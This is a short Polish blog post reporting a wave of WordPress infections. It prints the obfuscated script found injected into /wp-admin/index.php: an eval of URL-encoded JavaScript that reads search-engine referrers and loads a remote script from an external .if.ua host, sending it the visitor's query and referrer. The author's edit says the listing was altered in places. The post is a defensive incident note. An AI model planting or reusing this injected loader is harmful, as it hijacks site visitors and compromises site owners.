Natąpiła chyba kolejna fala infekcji na Wordpressach.

Wydaje mi się, że zaatakowane zostały Wordpressy, których właściciele nie zmienili haseł po porzednim ataku. Czyli wygląda na to, że hasła trzymane są dalej w jakieś bazie. :)

Skutek ataku?

Jak na  razie namierzyłem 2 zmiany:

index.php w katalogu głównym

index.php w /wp-admin

W /wp-admin/index.php wygląda następująco:

<script>eval( unescape( “%69%66%28%21%6d%79%69%6b%29%7b%0d%0a%76%61%72%20%72%3d%64%6f%63%75%6d%65%6e%74%2e%72%65%66%65%72%72%65%72%2c%75%3d%64%6f%63%75%6d%65%6e%74%2e%55%52%4c%2c%74%3d%22%22%2c%71 %2c%71%75%65%2c%73%65%3d%22%67%62%22%3b%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%67%6f%6f%67%6c%65%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%71%22%3b%73%65%3d%22%67%6f%6f%67%6c%65%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%6d%73%6e%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%71%22%3b%73%65%3d%22%6d%73%6e%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%79%61%68%6f%6f%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%70%22%3b%73%65%3d%22%79%61%68%6f%6f%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%79%61%6e%64%65%78%2e%72%75%22%29%21%3d%2d%31%29%7b%74%3d%22%74%65%78%74%22%3b%73%65%3d%22%79%61%6e%64%65%78%2e%72%75%22%3b%7d%0d%0a%69%66%28%74%2e%6c%65%6e%67%74%68&&%28%28%71%3d%72%2e%69%6e%64%65%78%4f%66%28%22%3f%22%2b%74%2b%22%3d%22%29%29%21%3d%2d%31%7c%7c%28%71%3d%72%2e%69%6e%64%65%78%4f%66%28%22&%22%2b%74%2b%22%3d%22%29%29%21%3d%2d%31%29%29%7b%20%71%75%65%3d%72%2e%73%75%62%73%74%72%69%6e%67%28%71%2b%32%2b%74%2e%6c%65%6e%67%74%68%29%2e%73% 70%6c%69%74%28%22&%22%29%5b%30%5d%3b%0d%0a%69%66%20%28%28%71%75%65%2e%69%6e%64%65%78%4f%66%28%27%73%69%74%65%3a%27%29%3d%3d%2d%31%29%20&&%20%28%71%75%65%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%2e%69%6e%64%65%78%4f%66%28%27%77%77%77%2e%27%29%3d%3d%2d%31%29%29%0d%0a%09%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%22%3c%73%63%72%69%70%74%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%62%65%73%74%34%79%6f%75%2e%69%66%2e%75%61%2f%6a%73%2f%62%69%64%63%68%2e%6a%73%3f%71%3d%22%2b%71%75%65%2b%22&%72%65%66%3d%22%2b%72%2b%22%27%3e%3c%2f%73%63%22%2b%22%72%69%70%74%3e%22%29%3b%0d%0a%7d%0d%0a%7d%0d%0a%76%61%72%20%6d%79%69%6b%3d%74%72%75%65%3b” ));</script><?php

Pomaga wymiana tych plików na oryginalne i zmiana haseł :)

–edit–

Listing w kilku miejscach został “poprawiony” :)

Warto zajrzeć tutaj:
